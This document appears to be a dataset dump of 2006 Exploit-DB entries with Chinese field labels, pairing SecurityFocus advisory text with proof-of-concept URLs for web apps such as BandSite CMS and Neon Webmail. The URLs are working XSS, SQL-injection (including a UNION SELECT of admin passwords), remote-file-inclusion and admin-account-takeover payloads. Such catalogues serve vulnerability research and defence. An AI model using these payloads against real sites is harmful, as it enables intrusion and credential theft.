QLWD/code_shield huggingface dataset:
标题: BandSite CMS 1.1 - 'sendemail.php' Cross-Site Scripting EDB-ID: 28620 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
   
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
   
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
   
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/adminpanel/includes/mailinglist/sendemail.php?message_text=</textarea><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28620
标题: BandSite CMS 1.1 - 'news_content.php' Cross-Site Scripting EDB-ID: 28631 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
              
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
              
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
              
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/news_content.php?the_band=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28631
标题: BandSite CMS 1.1 - 'help_mp3.php' Cross-Site Scripting EDB-ID: 28619 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
  
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
  
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
  
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/adminpanel/includes/helpfiles/help_mp3.php?max_file_size_purdy=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28619
标题: BandSite CMS 1.1 - 'links_content.php' Cross-Site Scripting EDB-ID: 28626 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
         
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
         
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
         
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/links_content.php?the_band=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28626
标题: BandSite CMS 1.1 - 'interview_content.php' Cross-Site Scripting EDB-ID: 28625 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
        
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
        
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
        
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/interview_content.php?the_band=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28625
标题: BandSite CMS 1.1 - 'header.php' Cross-Site Scripting EDB-ID: 28621 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
    
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
    
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
    
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/adminpanel/includes/header.php?the_band=</title><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28621
标题: BandSite CMS 1.1 - 'gbook_content.php' Cross-Site Scripting EDB-ID: 28624 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
       
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
       
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
       
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/gbook_content.php?the_band=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28624
标题: BandSite CMS 1.1 - 'bio_content.php' Cross-Site Scripting EDB-ID: 28623 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
      
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
      
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
      
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/bio_content.php?the_band=<Script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28623
标题: NeoSys Neon Webmail for Java 5.06/5.07 - 'updateuser?in_name' Servlet Cross-Site Scripting EDB-ID: 28610 CVE: 2006-4956 类型: WEBAPPS 平台: JSP 发布日期: 2006-09-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/20109/info
     
Neon WebMail is prone to multiple input-validation vulnerabilities because it fails to sanitize user-supplied input. These issues include:
     
- an arbitrary-file-upload vulnerability
- an arbitrary-email-manipulation vulnerability
- multiple SQL-injection vulnerabilities
- an unauthorized-access vulnerability
- multiple directory-traversal vulnerabilities
- an HTML-injection vulnerability. 
     
An attacker can exploit these issues to compromise the affected application.
     
Versions 5.06 and 5.07 (build.200607050) are vulnerable to these issue; prior versions may also be affected.

http://www.example.com/neonwebmail/updateuser?in_id=admin&in_pass=hacked&
in_name=<script>alert(document.cookie);</script>&in_admin=1&in_showmailcount=10&
in_usecss=1&in_autopoptime=5&in_replysign=&in_isquotation=1&in_formwidth=50&exe=update URL: https://www.exploit-db.com/exploits/28610
标题: RedBLoG 0.5 - 'imgen.php?Root' Remote File Inclusion EDB-ID: 28611 CVE: 2006-5021 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/20115/info

The redblog application is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/Path/imgen.php?root=http://www.example.com URL: https://www.exploit-db.com/exploits/28611
标题: RedBLoG 0.5 - 'common.php?root_path' Remote File Inclusion EDB-ID: 28613 CVE: 2006-5021 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/20115/info
  
The redblog application is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/Path/common.php?root_path=http://www.example.com URL: https://www.exploit-db.com/exploits/28613
标题: BandSite CMS 1.1 - 'help_news.php' Cross-Site Scripting EDB-ID: 28617 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info

Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.

Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/adminpanel/includes/helpfiles/help_news.php?the_band=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28617
标题: RedBLoG 0.5 - '/admin/config.php?root_path' Remote File Inclusion EDB-ID: 28612 CVE: 2006-5021 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/20115/info
 
The redblog application is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/Path/admin/config.php?root_path=http://www.example.com URL: https://www.exploit-db.com/exploits/28612
标题: ESyndiCat 1.5 - 'search.php' Cross-Site Scripting EDB-ID: 28604 CVE: 2006-4923 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/20106/info

eSyndiCat is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.5 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/search.php?what=[xss]&search_top.x=0&search_top.y=0&search_top=GO URL: https://www.exploit-db.com/exploits/28604
标题: NeoSys Neon Webmail for Java 5.06/5.07 - 'downloadfile' Servlet Traversal Arbitrary File Access EDB-ID: 28605 CVE: 2006-4955 类型: WEBAPPS 平台: JSP 发布日期: 2006-09-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/20109/info

Neon WebMail is prone to multiple input-validation vulnerabilities because it fails to sanitize user-supplied input. These issues include:

- an arbitrary-file-upload vulnerability
- an arbitrary-email-manipulation vulnerability
- multiple SQL-injection vulnerabilities
- an unauthorized-access vulnerability
- multiple directory-traversal vulnerabilities
- an HTML-injection vulnerability. 

An attacker can exploit these issues to compromise the affected application.

Versions 5.06 and 5.07 (build.200607050) are vulnerable to these issue; prior versions may also be affected.

http://www.example.com/neonwebmail/downloadfile?filename=filename.ext&savefolder=[traversal]&savefilename=[traversal] URL: https://www.exploit-db.com/exploits/28605
标题: NeoSys Neon Webmail for Java 5.06/5.07 - 'updateuser?in_id' Servlet Arbitrary User Information Modification EDB-ID: 28609 CVE: 2006-4954 类型: WEBAPPS 平台: JSP 发布日期: 2006-09-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/20109/info
    
Neon WebMail is prone to multiple input-validation vulnerabilities because it fails to sanitize user-supplied input. These issues include:
    
- an arbitrary-file-upload vulnerability
- an arbitrary-email-manipulation vulnerability
- multiple SQL-injection vulnerabilities
- an unauthorized-access vulnerability
- multiple directory-traversal vulnerabilities
- an HTML-injection vulnerability. 
    
An attacker can exploit these issues to compromise the affected application.
    
Versions 5.06 and 5.07 (build.200607050) are vulnerable to these issue; prior versions may also be affected.

http://www.example.com/neonwebmail/updateuser?in_id=admin&in_pass=hacked&in_name=admin&in_admin=1&
in_showmailcount=10&in_usecss=1&in_autopoptime=5&in_replysign=&in_isquotation=1&in_formwidth=50&exe=update
http://www.example.com/neonwebmail/updateuser?in_id=guest&in_pass=guest&in_name=guest&in_admin=1&
in_showmailcount=20&in_usecss=1&in_autopoptime=5&in_poppop=1&in_replysign=&in_formwidth=80&exe=update
http://www.example.com/neonwebmail/updateuser?in_id=admin&exe=read
http://www.example.com/neonwebmail/updateuser?in_id=super&in_pass=super&in_name=super&in_admin=1&
in_showmailcount=10&in_usecss=1&in_autopoptime=5&in_replysign=&in_isquotation=1&in_formwidth=50&exe=insert URL: https://www.exploit-db.com/exploits/28609
标题: RedBLoG 0.5 - '/admin/index.php?root_path' Remote File Inclusion EDB-ID: 28614 CVE: 2006-5021 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/20115/info
   
The redblog application is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/Path/admin/index.php?root_path=htpp://www.example.com URL: https://www.exploit-db.com/exploits/28614
标题: NeoSys Neon Webmail for Java 5.06/5.07 - 'updatemail' Servlet Arbitrary Mail Message Manipulation EDB-ID: 28606 CVE: 2006-4952 类型: WEBAPPS 平台: JSP 发布日期: 2006-09-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/20109/info
 
Neon WebMail is prone to multiple input-validation vulnerabilities because it fails to sanitize user-supplied input. These issues include:
 
- an arbitrary-file-upload vulnerability
- an arbitrary-email-manipulation vulnerability
- multiple SQL-injection vulnerabilities
- an unauthorized-access vulnerability
- multiple directory-traversal vulnerabilities
- an HTML-injection vulnerability. 
 
An attacker can exploit these issues to compromise the affected application.
 
Versions 5.06 and 5.07 (build.200607050) are vulnerable to these issue; prior versions may also be affected.

http://www.example.com/neonwebmail/updatemail?ID=1&getpost=get&folderid=-1&tofolderid=-9&status=1&execute=move
http://www.example.com/neonwebmail/updatemail?ID=1&getpost=get&folderid=-9&tofolderid=100&status=1&execute=move URL: https://www.exploit-db.com/exploits/28606
标题: NeoSys Neon Webmail for Java 5.06/5.07 - 'addrlist' Servlet Multiple SQL Injections EDB-ID: 28607 CVE: 2006-4953 类型: WEBAPPS 平台: JSP 发布日期: 2006-09-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/20109/info
  
Neon WebMail is prone to multiple input-validation vulnerabilities because it fails to sanitize user-supplied input. These issues include:
  
- an arbitrary-file-upload vulnerability
- an arbitrary-email-manipulation vulnerability
- multiple SQL-injection vulnerabilities
- an unauthorized-access vulnerability
- multiple directory-traversal vulnerabilities
- an HTML-injection vulnerability. 
  
An attacker can exploit these issues to compromise the affected application.
  
Versions 5.06 and 5.07 (build.200607050) are vulnerable to these issue; prior versions may also be affected.

http://www.example.com/neonwebmail/addrlist?PAGE=1&sysid=0&adr_sortkey=rand(benchmark(1000000000000, sha1('123456781234567812345678')))&adr_sortkey_desc= ID, SELECT * FROM T_ADDR_BOOK WHERE ID = 'username' ORDER BYrand(benchmark(1000000000000,sha1('123456781234567812345678'))),SYSID DESC URL: https://www.exploit-db.com/exploits/28607
标题: NeoSys Neon Webmail for Java 5.06/5.07 - 'maillist' Servlet Multiple SQL Injections EDB-ID: 28608 CVE: 2006-4953 类型: WEBAPPS 平台: JSP 发布日期: 2006-09-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/20109/info
   
Neon WebMail is prone to multiple input-validation vulnerabilities because it fails to sanitize user-supplied input. These issues include:
   
- an arbitrary-file-upload vulnerability
- an arbitrary-email-manipulation vulnerability
- multiple SQL-injection vulnerabilities
- an unauthorized-access vulnerability
- multiple directory-traversal vulnerabilities
- an HTML-injection vulnerability. 
   
An attacker can exploit these issues to compromise the affected application.
   
Versions 5.06 and 5.07 (build.200607050) are vulnerable to these issue; prior versions may also be affected.

http://www.example.com/neonwebmail/maillist?getpost=get&PAGE=1&folderid=-1&sysid=0&sortkey=SENDER, rand(benchmark(1000000000000,sha1('123456781234567812345678')))&sortkey_desc=&sendkind=&searchlist= URL: https://www.exploit-db.com/exploits/28608
标题: DotNetNuke 4.0 - HTML Injection EDB-ID: 28615 CVE: 2006-4973 类型: WEBAPPS 平台: ASP 发布日期: 2006-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/20117/info

DotNetNuke is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code may execute in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to users; other attacks are also possible.

All versions of the application are vulnerable to this issue.

http://www.example.com/Default.aspx?tabid=510&error="<script></script>/><iframe<script></script>src=http://www.example.com> URL: https://www.exploit-db.com/exploits/28615
标题: BandSite CMS 1.1 - 'help_merch.php' Cross-Site Scripting EDB-ID: 28618 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
 
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
 
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
 
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/adminpanel/includes/helpfiles/help_merch.php?the_band=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28618
标题: EShoppingPro 1.0 - 'Search_Run.asp' SQL Injection EDB-ID: 28600 CVE: 2006-4871 类型: WEBAPPS 平台: ASP 发布日期: 2006-09-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/20089/info

EShoppingPro is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

An attacker may be able to exploit this issue to modify the logic of SQL queries. Successful exploits may allow the attacker to compromise the software, retrieve information, or modify data; other consequences are possible as well.

http://www.example.com/[path]/search_run.asp?keyword=-1&category=-1&order='%20union%20select%200,0,0,Username,Password,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20admin&x=-1&y=-1 URL: https://www.exploit-db.com/exploits/28600
标题: ECardPro 2.0 - 'search.asp' SQL Injection EDB-ID: 28597 CVE: 2006-4872 类型: WEBAPPS 平台: ASP 发布日期: 2006-09-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/20080/info

ECardPro is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue affects version 2.0; other versions may also be vulnerable.

http://www.example.com/search.asp?keyword='[SQL HERE] URL: https://www.exploit-db.com/exploits/28597
标题: NixieAffiliate 1.9 - 'lostpassword.php' Cross-Site Scripting EDB-ID: 28599 CVE: 2006-4894 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/20084/info

NixieAffiliate is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/NixieAffiliate/forms/lostpassword.php?error=[xss] URL: https://www.exploit-db.com/exploits/28599
标题: PHP-post Web Forum 0.x.1.0 - 'pm.php?replyuser' Cross-Site Scripting EDB-ID: 28592 CVE: 2006-4881 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/20061/info
 
PHP-Post is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting, SQL-injection, and remote file-include issues, because the application fails to sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. Other attacks are also possible.

http://www.example.com/pm.php?s=o&replyuser="><script>alert(document.cookie);</script><" URL: https://www.exploit-db.com/exploits/28592